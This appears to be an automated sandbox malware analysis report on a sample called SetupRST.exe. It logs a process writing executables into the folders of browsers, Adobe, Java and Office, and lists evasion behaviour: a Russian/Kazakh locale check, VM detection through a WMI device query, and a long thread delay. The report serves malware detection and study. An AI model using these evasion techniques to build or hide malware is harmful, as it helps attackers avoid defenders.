Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SetupRST.exe	File created: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	File created: C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\VMD\RstMwService.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to dropped file

Source: C:\Users\user\Desktop\SetupRST.exe	File created: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SetupRST.exe	File created: C:\Windows\System32\AppVClient.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SetupRST.exe	File created: C:\Windows\System32\FXSSVC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SetupRST.exe	File created: C:\Windows\System32\alg.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	File created: C:\Users\user\Intel\Logs\SetupRST.log			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SetupRST.exe.log			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Contains functionality to behave differently if execute on a Russian/Kazak computer

Source: C:\Users\user\Desktop\SetupRST.exe	Code function: 0_2_004D5346 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	0_2_004D5346
Source: C:\Windows\System32\AppVClient.exe	Code function: 8_2_00BA5346 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	8_2_00BA5346
Source: C:\Windows\System32\FXSSVC.exe	Code function: 10_2_00D55346 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	10_2_00D55346
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 11_2_00995346 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	11_2_00995346
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 12_2_01CD5346 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	12_2_01CD5346

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\CIMV2 : Win32_PnPEntity

Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Memory allocated: 1ED031B0000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Memory allocated: 1ED1CAE0000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.132\chrome_pwa_launcher.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\chrmstp.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\setup.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\7z.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SetupRST.exe	Dropped PE file which has not been started: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\7zG.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.132\notification_helper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\updater.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SetupRST.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\VMD\RstMwEventLogMsg.dll	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to dropped file
